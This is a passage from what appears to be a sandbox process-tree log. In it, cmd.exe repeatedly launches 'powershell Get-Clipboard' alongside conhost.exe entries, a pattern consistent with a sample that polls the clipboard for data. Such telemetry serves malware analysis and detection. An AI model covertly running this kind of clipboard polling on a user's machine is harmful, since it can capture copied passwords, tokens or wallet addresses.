  2⤵
  PID:7068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7084
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4612
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6268
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:1784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7072
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5244
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:7112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5288
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6776
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6552
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6380
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3176
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5804
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:7148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2832
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:7132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6276
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6988
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2464
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5472
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2320
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4904
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6904
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6376
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4360
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6092
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:1492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:1624
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3680
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2196
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5016
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6548
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6060
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5492
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6716
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3620
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6248
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6504
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2536
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5980
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:7068
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6188
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4488
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6172
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5540
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5844
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6028
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6924
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:1232
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:7016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5280
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3592
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6732
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:7144
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5432
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5284
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:7092
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5660
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5644
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4088
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:848
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5188
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4192
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5548
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6036
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3436
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:7032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5180
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5912
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1508
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3532
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4432
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3196
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2932
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4452
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6632
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6284
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2072
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:1528
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:7044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6352
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5932
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5860
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3040
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:7160
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:1948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6600
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4676
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5852
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6932
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5276
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6472
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:1492
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5708
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:980
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:2524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:468
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:3436
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:2352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3624
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4052
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3932
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4356
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:4952
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5112
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:3036
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6996
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:6284
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:4672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:1136
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6340
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:7080
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:552
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:6352
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5928
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Get-Clipboard
    3⤵
    PID:5848
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell Get-Clipboard"
  2⤵
  PID:5564
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:7160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
